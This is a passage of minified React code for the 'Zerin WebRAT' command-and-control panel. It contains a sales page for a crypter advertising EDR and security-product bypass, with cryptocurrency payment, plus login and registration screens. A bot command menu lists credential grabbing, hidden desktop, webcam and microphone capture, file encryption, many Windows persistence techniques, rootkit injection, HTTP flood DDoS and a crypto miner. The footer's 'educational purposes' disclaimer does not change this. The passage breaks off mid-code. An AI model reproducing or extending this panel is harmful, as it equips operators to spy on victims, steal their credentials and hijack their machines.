9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(dt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function xj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const qg="zerin.pro",vj="zerpanel-67ontoplol.top";function yx(){return window.location.hostname===qg||window.location.hostname===`www.${qg}`}function VA(){const e=dr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await _E({username:t,password:r}),yx()){const f=rt();if(f){window.location.href=`https://${vj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof di?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(xj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(dt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function HA(){const e=dr(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await OE({username:t,password:r,license_key:l}),yx()){const g=rt();if(g){window.location.href=`https://${vj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof di)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(xj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(dt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Vc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function km(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function KA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function No(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function So(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Hs(e){return e.slice(0,8)}function gj(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function qA(e){return`data:image/bmp;base64,${e}`}function YA(e){return e.startsWith("Qk")}const _n="w-3.5 h-3.5 flex-shrink-0",Jt={eye:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},GA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),XA=new Set(["remove","exit","uninstall","shutdown"]),ZA=new Set(["ban"]),Yf=[{label:"Monitoring",icon:Jt.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Jt.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Jt.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Jt.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Jt.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Jt.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Jt.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Jt.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Jt.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Jt.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Jt.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],QA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},JA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},e_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},t_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Yf.map(D=>({...D,commands:D.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(D=>D.commands.length>0||D.label.toLowerCase().includes(x.toLowerCase())).map(D=>({...D,commands:D.commands.length>0?D.commands:Yf.find(M=>M.label===D.label).commands})):Yf;p.useEffect(()=>{if(n&&l.current){const D=l.current.getBoundingClientRect(),M=window.innerWidth,F=window.innerHeight;let R=e,W=t;e+D.width>M&&(R=M-D.width-8),t+D.height>F&&(W=F-D.height-8),h({x:Math.max(4,R),y:Math.max(4,W)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var D;(D=c.current)==null||D.focus()})},[n]),p.useEffect(()=>{if(!n)return;const D=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",D),()=>{document.removeEventListener("mousedown",D)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const _=p.useCallback(()=>{if(!u.current)return;const D=u.current;D.style.top="0px";const M=D.getBoundingClientRect(),F=window.innerHeight;if(M.bottom>F-8){const R=M.bottom-F+8;D.style.top=`${-R}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(_)},[d,_]),p.useEffect(()=>{if(!n)return;const D=M=>{var R;const F=z;if(F.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const W=F.find($=>$.label===d);W&&w($=>${const $=W$.label===d);W&&w($=>$>0?$-1:W.commands.length-1)}else v(W=>{const $=W>0?W-1:F.length-1;return f(F[$].label),$});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const W=F.find($=>$.label===d);W&&b>=0&&bdocument.removeEventListener("keydown",D)},[n,z,d,j,y,b,i]),!n)return null;const A=(D,M)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f(D),v(M),k(!1),w(-1)},60)},O=()=>{S.current&&clearTimeout(S.current)},P=D=>{N&&D.nav.action!=="remove"&&D.nav.action!=="ban"||r(D.key,D.nav)},I=m.x+200+220>window.innerWidth,U=D=>D===0?!1:z[D].group!==z[D-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${QA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${e_[a]}`,children:JA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 